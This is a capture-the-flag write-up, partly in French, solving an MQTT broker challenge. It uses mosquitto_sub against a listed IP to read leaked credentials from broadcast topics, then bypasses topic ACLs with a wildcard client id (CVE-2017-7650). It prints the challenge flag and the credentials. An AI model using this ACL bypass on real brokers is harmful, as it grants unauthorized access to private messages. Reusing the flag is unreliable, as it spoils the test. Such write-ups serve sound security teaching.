Nobody like mosquitoes

Flag: HACKDAY{bbe03d4f4ee81a4920b6b432936497dfaa503c706115a1f2eb094f15ab2ff66e}

Challenge

Description

---

While cleaning out an old server room, we discovered a forgotten MQTT broker that's been running since December 31st, 1999. The system administrator left some intersting data, but the Y2K bug corrupted the access credentials!

flag format: HACKDAY{flag}

Ce challenge tourne sur un docker et n'est pas disponible

Solution

Ici j'utilise le tool mosquitto_sub. On commence par écouter tous les topics avec la commande :

$ mosquitto_sub -h 51.210.244.18 -t '#' -v
credentials hackday:1Bc2Mk0rlevzuCG6AaDK6Opa
credentials hackday:1Bc2Mk0rlevzuCG6AaDK6Opa

On seul message est répété en boucle contenant des identifiants. Il suffit de les utiliser :

$ mosquitto_sub -h 51.210.244.18 -u hackday -P 1Bc2Mk0rlevzuCG6AaDK6Opa -t '#'
Keep it up ! :)
maybe a look into $SYS/# can be useful
apparently you should take a look at ctf/flag, I think there is a problem with ACL, something like ctf/f%c
hackday:1Bc2Mk0rlevzuCG6AaDK6Opa
Keep it up ! :)
maybe a look into $SYS/# can be useful
apparently you should take a look at ctf/flag, I think there is a problem with ACL, something like ctf/f%c
hackday:1Bc2Mk0rlevzuCG6AaDK6Opa

Il y a un problème avec les ACL et un peu de recherche nous mène à la CVE-2017-7650. En mettant un wildcard en tant que user_id (-i avec mosquitto_sub), on bypass les droits :

$ mosquitto_sub -h 51.210.244.18 -u hackday -P 1Bc2Mk0rlevzuCG6AaDK6Opa -t 'ctf/flag' -i '#'
Well done ! HACKDAY{bbe03d4f4ee81a4920b6b432936497dfaa503c706115a1f2eb094f15ab2ff66e}